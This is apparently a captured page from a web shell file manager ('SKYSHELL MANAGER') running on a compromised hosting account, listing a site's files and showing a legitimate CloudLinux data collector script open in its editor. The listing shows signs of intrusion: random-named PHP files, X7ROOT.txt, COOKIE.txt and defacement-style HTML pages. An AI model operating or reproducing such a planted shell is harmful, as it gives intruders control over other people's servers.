📁
SKYSHELL MANAGER
PHP v8.2.30
Create
Create
Path:
root
/
home
/
qooetu
/
costes.qooetu.com
/
Name
Size
Perm
Actions
📁
.well-known
-
0755
🗑️
🏷️
🔒
📁
2e19d9
-
0755
🗑️
🏷️
🔒
📁
6b114
-
0755
🗑️
🏷️
🔒
📁
Modules
-
0755
🗑️
🏷️
🔒
📁
app
-
0755
🗑️
🏷️
🔒
📁
assets
-
0755
🗑️
🏷️
🔒
📁
bootstrap
-
0755
🗑️
🏷️
🔒
📁
cgi-bin
-
0755
🗑️
🏷️
🔒
📁
config
-
0755
🗑️
🏷️
🔒
📁
css
-
0755
🗑️
🏷️
🔒
📁
database
-
0755
🗑️
🏷️
🔒
📁
images
-
0755
🗑️
🏷️
🔒
📁
js
-
0755
🗑️
🏷️
🔒
📁
nbproject
-
0755
🗑️
🏷️
🔒
📁
public
-
0755
🗑️
🏷️
🔒
📁
resources
-
0755
🗑️
🏷️
🔒
📁
routes
-
0755
🗑️
🏷️
🔒
📁
storage
-
0755
🗑️
🏷️
🔒
📁
tests
-
0755
🗑️
🏷️
🔒
📁
uploads
-
0755
🗑️
🏷️
🔒
📁
vendor
-
0755
🗑️
🏷️
🔒
📁
wp-admin
-
0755
🗑️
🏷️
🔒
📁
wp-content
-
0755
🗑️
🏷️
🔒
📁
wp-includes
-
0755
🗑️
🏷️
🔒
📄
.htaccess
0.23 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
COOKIE.txt
0.2 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
X7ROOT.txt
0.27 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
defaults.php
1.29 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
engine.php
0 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
error_log
813.08 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
features.php
11.28 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
googlecfb82e09419fc0f6.html
0.05 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
index.php0
1.56 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
inputs.php
0.12 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
kurd.html
1.07 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
library.php
0 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
min.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
p.php
2.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
php.ini
0.04 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
product.php
1.78 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
qpmwztts.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
robots.txt
0.32 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
tovmbkwh.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
tyyffovi.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
veoxv.html
1.23 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
Edit: __main__.py
# -*- coding: utf-8 -*- # # Copyright © Cloud Linux GmbH & Cloud Linux Software, Inc 2010-2024 All Rights Reserved # # Licensed under CLOUD LINUX LICENSE AGREEMENT # http://cloudlinux.com/docs/LICENCE.TXT """ CloudLinux website data collector utility Collects Apache configs, system info, and .htaccess files from websites. Note: Data collection and sending is integrated into cloudlinux-summary. """ import argparse import logging import sys from cl_website_collector.website_collector import WebsiteCollector def setup_logging(verbose: bool = False) -> None: """Setup logging configuration.""" log_level = logging.DEBUG if verbose else logging.INFO app_logger = logging.getLogger('cloudlinux-website-collector') app_logger.setLevel(log_level) stream_handler = logging.StreamHandler(sys.stdout) formatter = logging.Formatter('%(asctime)s - %(name)s - %(levelname)s - %(message)s') stream_handler.setFormatter(formatter) app_logger.addHandler(stream_handler) def parse_arguments() -> argparse.Namespace: """Parse command line arguments.""" parser = argparse.ArgumentParser( description='CloudLinux website data collector', formatter_class=argparse.RawDescriptionHelpFormatter, epilog=__doc__ ) parser.add_argument( '--send', action='store_true', help='Send data via API (requires --api-url)' ) parser.add_argument( '--api-url', type=str, default='https://stat-api.cloudlinux.com/api/clos-upload', help='API URL for sending data (default: %(default)s)' ) parser.add_argument( '--system-id', type=str, default='test-system-id', help='System identifier (default: %(default)s)' ) parser.add_argument( '--client-id', type=str, default='000000', help='Client identifier (default: %(default)s)' ) parser.add_argument( '--platform', type=str, default='rhel_like', help='Platform type (default: %(default)s)' ) parser.add_argument( '--panel', type=str, default='cPanel', help='Control panel name (default: %(default)s)' ) parser.add_argument( '--server', type=str, default='apache', help='Server name (default: %(default)s)' ) parser.add_argument( '--dry-run', action='store_true', help='Save data to dry-run.jsonl file instead of sending to server' ) parser.add_argument( '--verbose', '-v', action='store_true', help='Enable verbose logging' ) return parser.parse_args() def main() -> int: """Main entry point.""" args = parse_arguments() # Setup logging setup_logging(args.verbose) logger = logging.getLogger("cloudlinux-website-collector") if not args.send: logger.info("No action specified.") return 1 try: collector = WebsiteCollector(logger=logger) if args.send: collector.send_data( system_id=args.system_id, client_id=args.client_id, platform=args.platform, panel=args.panel, server=args.server, api_url=args.api_url, remote_config_version="dummy_version", # no sense to specify there some real version dry_run=args.dry_run ) logger.info("Data sending completed") return 0 except KeyboardInterrupt: logger.info("Operation interrupted by user") return 130 except Exception as e: logger.error("Operation failed: %s", e) return 1 if __name__ == "__main__": sys.exit(main())
Save